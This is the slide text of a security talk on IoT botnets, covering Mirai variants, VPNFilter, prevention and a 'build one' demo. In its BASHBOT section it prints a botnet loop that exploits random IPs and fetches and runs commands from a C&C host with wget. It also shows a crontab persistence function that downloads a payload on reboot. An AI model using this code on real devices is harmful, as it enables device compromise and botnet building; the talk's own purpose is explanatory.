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common traits



Mirai



krebsonsecurity.com    —>  620Gbps 
OVH.com    —>  1Tbps 
Dyn – DNS    —>  Twitter, Spotify, Reddit 

Its variants!



Mirai variants
•Satori (enlightement) 
•(Pure)Masuta (master) 
•Okiru (rise)
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•OMG 
•proxy 

•Wicked family 
•persistence



APT?



APT?
Advanced persistent threat



VPNFilter
stage 1 —> persistence 

stage 2 —> module loader



VPNFilter stage 3



VPNFilter stage 3
tor 
dstr 
ssler 

& more



C&C-less design 

HideNSeek
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Impact of IoT botnets

Paras Jha —> MiraiKenneth Currin 
Schuchman 
—> Satori



Prevention



Prevention

Intrusion Detection System 

Firewall rules 

REBOOT



Lets build one

what language to choose? 
what communication protocol to choose? 

what spreading method to use?



Shodan.io

Search engine for IoT







IoT exploitation
DEMO

IoT Exploitation

/?cmd=…

https://imgflip.com/memetemplate/131099891/For-dummies-book



Me Router
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Hello

Session ID

DB pls

Me Router

Sure, there 
ya go!



BASHBOT
The 60 minute botnet written in bash



while true{ 
ip = gen_ip() 
exploit(ip) 
wget http://cnc.ip/command 
./command 

}



persistence(){ 
crontab -l > cron.b 
echo "@reboot wget $cnc/payload" >> cron.b 
crontab cron.b 
rm cron.b 

}



Leaked sources
•Mirai 
•LightAidra 
•BASHLITE/Gafgyt/QBot 
•parts of brickerbot
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The skid way
15$/cnc —> Mirai 
10$/cnc —> Qbot 

“stressers”
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Conclusion
• age of APT IoT botnets 
• persistence 
• multi-stage 

• making an IoT botnet is EASY 
• vendors should do something about it 
• rebooted router is a happy router!!



Q&A
My thanks goes to Adolf Středa and Anna Shirokova of AVAST. 
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@malwarereaper 


